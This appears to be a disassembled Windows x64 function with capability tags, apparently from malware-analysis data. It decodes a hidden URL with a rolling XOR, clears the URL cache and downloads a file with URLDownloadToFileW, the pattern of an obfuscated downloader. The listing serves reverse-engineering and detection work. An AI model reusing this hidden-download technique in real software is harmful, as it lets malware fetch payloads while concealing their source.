Function at 0x140029270
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
xor edi, edi
mov eax, dword [0x14003e750]
cmp eax, 1
jne 0x140029626
lea rcx, [rbp - 9]
call fcn.140023280
nop
mov rdx, rax
lea rcx, [rbp + 0x17]
call fcn.140023940
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
jbe 0x1400292ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400292f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400292f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
nop
mov rdx, qword [rbp + 0xf]
cmp rdx, 7
jbe 0x140029342
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002933d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002933d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
mov dword [rbp - 0x79], 0xf432f42d
mov dword [rbp - 0x75], 0xf438f433
mov dword [rbp - 0x71], 0xf470f43a
mov dword [rbp - 0x6d], 0xf463f464
mov dword [rbp - 0x69], 0xf421f43f
mov dword [rbp - 0x65], 0xf425f428
mov dword [rbp - 0x61], 0xf431f434
mov dword [rbp - 0x5d], 0xf431f43b
mov dword [rbp - 0x59], 0xf422f434
mov dword [rbp - 0x55], 0xf476f424
mov dword [rbp - 0x51], 0xf423f421
mov dword [rbp - 0x4d], 0xf473f421
mov dword [rbp - 0x49], 0xf431f431
mov dword [rbp - 0x45], 0xf404f43e
mov dword [rbp - 0x41], 0xf410f404
mov dword [rbp - 0x3d], 0xf402f44c
mov dword [rbp - 0x39], 0xf40af40c
mov dword [rbp - 0x35], 0xf41bf402
mov dword [rbp - 0x31], 0xf426f446
mov dword [rbp - 0x2d], 0xf428f45f
mov dword [rbp - 0x29], 0xf441f45f
mov dword [rbp - 0x25], 0xf444f403
mov dword [rbp - 0x21], 0xf440f415
mov dword [rbp - 0x1d], 0xf410f45d
mov dword [rbp - 0x19], 0xf41af419
mov word [rbp - 0x15], di
mov byte [rbp - 0x13], 1
mov rcx, rdi
mov ebx, 0xbbb
movzx eax, cx
sub ax, bx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 0x32
jb 0x140029401
mov byte [rbp - 0x13], 0
lea rcx, [rbp - 0x79]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
mov dword [rbp - 9], 0xf42ef419
mov dword [rbp - 5], 0xf43cf42e
mov dword [rbp - 1], 0xf425f43a
mov dword [rbp + 3], 0xf422f43e
mov dword [rbp + 7], 0xf460f429
mov dword [rbp + 0xb], 0xf431f438
mov dword [rbp + 0xf], 0xf427
mov byte [rbp + 0x13], 1
mov rcx, rdi
nop dword [rax + rax]
movzx eax, cx
sub ax, bx
xor word [rbp + rcx*2 - 9], ax
inc rcx
cmp rcx, 0xd
jb 0x140029460
mov byte [rbp + 0x13], 0
mov rdx, qword [0x14003e778]
lea rax, [rbp - 9]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140029490
movabs rax, 0x7ffffffffffffffe
sub rax, rdx
cmp rax, rcx
jb 0x1400296f6
lea r9, [0x14003e768]
cmp qword [0x14003e780], 7
cmova r9, qword [0x14003e768]
mov qword [rsp + 0x30], rcx
lea rax, [rbp - 9]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x17]
call fcn.14002ef30
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova r8, qword [rbp + 0x17]
mov dword [rbp - 0x79], 0xf432f42d
mov dword [rbp - 0x75], 0xf438f433
mov dword [rbp - 0x71], 0xf470f43a
mov dword [rbp - 0x6d], 0xf463f464
mov dword [rbp - 0x69], 0xf421f43f
mov dword [rbp - 0x65], 0xf425f428
mov dword [rbp - 0x61], 0xf431f434
mov dword [rbp - 0x5d], 0xf431f43b
mov dword [rbp - 0x59], 0xf422f434
mov dword [rbp - 0x55], 0xf476f424
mov dword [rbp - 0x51], 0xf423f421
mov dword [rbp - 0x4d], 0xf473f421
mov dword [rbp - 0x49], 0xf431f431
mov dword [rbp - 0x45], 0xf404f43e
mov dword [rbp - 0x41], 0xf410f404
mov dword [rbp - 0x3d], 0xf402f44c
mov dword [rbp - 0x39], 0xf40af40c
mov dword [rbp - 0x35], 0xf41bf402
mov dword [rbp - 0x31], 0xf426f446
mov dword [rbp - 0x2d], 0xf428f45f
mov dword [rbp - 0x29], 0xf441f45f
mov dword [rbp - 0x25], 0xf444f403
mov dword [rbp - 0x21], 0xf440f415
mov dword [rbp - 0x1d], 0xf410f45d
mov dword [rbp - 0x19], 0xf41af419
mov word [rbp - 0x15], di
mov byte [rbp - 0x13], 1
mov rax, rdi
nop dword [rax + rax]
movzx ecx, ax
sub cx, bx
xor word [rbp + rax*2 - 0x79], cx
inc rax
cmp rax, 0x32
jb 0x1400295b0
mov byte [rbp - 0x13], 0
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, [rbp - 0x79]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
jbe 0x1400296d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400296d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400296d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp eax, 2
je 0x1400296d5
cmp eax, 3
jne 0x1400296d5
lea rcx, [rbp - 9]
call fcn.140022b90
nop
mov rdx, rax
lea rcx, [rbp + 0x17]
call fcn.140023940
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
jbe 0x140029692
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002968c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002968c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
nop
mov rdx, qword [rbp + 0xf]
cmp rdx, 7
jbe 0x1400296d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400296d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400296d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001f080
int3